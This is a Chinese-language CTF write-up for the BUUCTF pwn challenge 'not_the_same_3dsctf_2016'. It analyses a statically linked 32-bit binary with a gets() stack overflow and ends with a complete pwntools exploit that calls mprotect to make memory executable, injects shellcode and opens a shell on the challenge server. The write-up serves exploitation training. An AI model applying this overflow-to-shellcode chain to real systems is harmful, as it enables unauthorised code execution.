BUUCTF-PWN-not_the_same_3dsctf_2016
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
32位程序,小端序
开启部分RELRO-----got表可写
未开启canary保护-----存在栈溢出
开启NX保护-----堆栈不可执行
未开启PIE-----程序地址为真实地址
静态链接
ida一下
gets函数明显的栈溢出,v4只有0x2D大小,gets函数对输入的字符串没有大小限制
看一下栈区
v4距离返回地址(r所在位置)0x2d个字节
找一下有没有后门函数,发现没有system函数,也没有/bin/sh字符串,而且是静态链接,也没法用ret2libc
既然是静态链接,而且题目开启了NX保护,又要用mprotect函数来修改权限了
关于mprotect函数的用法详见我另一篇文章
pwn刷题num30----栈溢出修改栈上参数 或 mprotect修改内存权限 + ret2shellcode
思路
用gets函数栈溢出,用mprotect函数修改.plt.got表内存页权限为可读可写可执行,用read函数将shellcode注入到刚才修改的内存页中,执行shellcode
还要找到含有三个寄存器的gadget段传递参数,这里选0x0809e3e5
exp
from pwn import *
context(log_level = 'debug',os = 'linux',endian = 'little',arch = 'i386')
sh = remote('node4.buuoj.cn',28489)
elf = ELF('./not_the_same_3dsctf_2016')
mprotect = 0x806ED40
pop3_ret = 0x0809e3e5
addr = 0x080EB000
read = elf.symbols['read']
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
payload = flat(['a' * 0x2d,mprotect,pop3_ret,addr,0x100,0x7,read,addr,0,addr,len(shellcode)])
sh.sendline(payload)
sh.sendline(shellcode)
sh.interactive()